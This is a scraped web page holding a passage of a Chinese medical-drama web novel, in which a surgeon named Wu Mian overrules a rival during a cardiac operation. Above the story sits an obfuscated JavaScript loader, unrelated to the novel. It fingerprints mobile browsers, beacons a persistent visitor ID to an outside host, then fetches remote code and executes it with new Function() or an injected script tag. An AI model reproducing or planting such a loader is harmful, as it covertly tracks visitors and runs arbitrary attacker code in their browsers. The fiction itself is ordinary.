296 原来是这样(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“术前的造影你到底看没看!”戴德利低声吼道。
“戴德利先生,我再次提醒你,这里是手术室,请保持安静。”吴冕温和说道,“要是你再在手术室里咆哮的话,我可能会把你撵出去,就像是撵一条流浪的疯狗一样,毫不留情。”
戴德利的眼睛红了,他的双拳紧紧握着,咯吱咯吱的声音传出来。
“别想着动手,你忘记上次被我打成了狗么?”吴冕冷漠说道。
“无耻!”戴德利医生从牙缝里挤出一个单词,但声音的确小了很多。
吴冕没有继续和戴德利说话,他盯着液体,静默的等待。
11′12″后,吴冕说道,“准备复苏,停止体外循环。”
“你疯了!”戴德利说道,“还没找到导致失血性休克的原因!”
在戴德利的想象中,那个让他讨厌、作呕的吴肯定知道哪里有出血,而且出血量还不会小,要不然不会一停机就出现心率降低、血压下降的情况。
可是万万没想到的是吴冕站在术者的位置上,输液后的第一条医嘱竟然是——停止体外循环!
简直太疯狂了!
“你是术者?”吴冕微嘲道,“现在我站在这里,只有我才是唯一的术者!”
楚知希已经打开升主动脉阻断钳,她小心翼翼的保证左心引流通畅,防止左心膨胀。
一般情况下,如条件合适,心脏多能自动复跳。可是托普特校长的心脏在升主动脉阻断解除后依旧安静的一动不动,仿佛他已经死去。
“准备电除颤。”吴冕伸手,器械护士随后把除颤器递给他。
吴冕调试除颤器的功率,45j。除颤成功,心脏开始重新工作。在体外循环的帮助下,心脏的负荷并不大,吴冕也没着急,而是安安静静的又一次等了5分钟的时间。
这段时间尤其必要,复跳后应保持一段时间心脏处于无负荷跳动,以利于心肌功能恢复。
复苏后开放上、下腔阻断带,使完全体外循环转变成为并行循环,以辅助心脏搏动,降低心脏负担。
又查了一个血气,吴冕等回报后,所有条件复合,抬头说道,“脱机,不要中和肝素。”
拔管、脱机,这已经是这台手术第二次重复这个过程。
戴德利医生医疗组的体外循环师按照正常流程,习惯性的要注入鱼精蛋白中和肝素。
还没等他注入鱼精蛋白,一枚止血钳子飞出,径直砸在体外循环师的头上。
体外循环师感到头顶一疼,随后看见银白色的止血钳子掉在地上,发出一阵清脆的响声。
他愤怒的站起来,还没说话就听到一连串伦敦腔的英语传来。
“我说的话你没听见?!”吴冕斥道,“不要中和肝素,这句话你不懂?是我的英语说的不够流利还是你要试图谋杀?!梅奥的人怎么都这么笨,连最基本的人话都听不懂!”
“……”体外循环师怔了一下,随即愤怒的说道,“不是要脱机么?难道不用中和肝素?!”
“不中和。”吴冕说道,“我最后一次重申,不中和肝素。”
手术室里,所有人沉默,戴德利像是看傻子一样看着吴冕。他怔了几秒钟,然后回头看托普特夫人,眼神充满了难以言明的戏谑与鄙夷。
在体外循环转机前,是需要全身肝素化的,体外循环机内也要事先预充肝素,并且在检查患者act大于480秒后,才能转机,所以体外循环是不会出现血液凝固的。
而停止体外循环的时候,都要中和肝素。哪怕是这样,冠脉吻合口依旧会有渗血。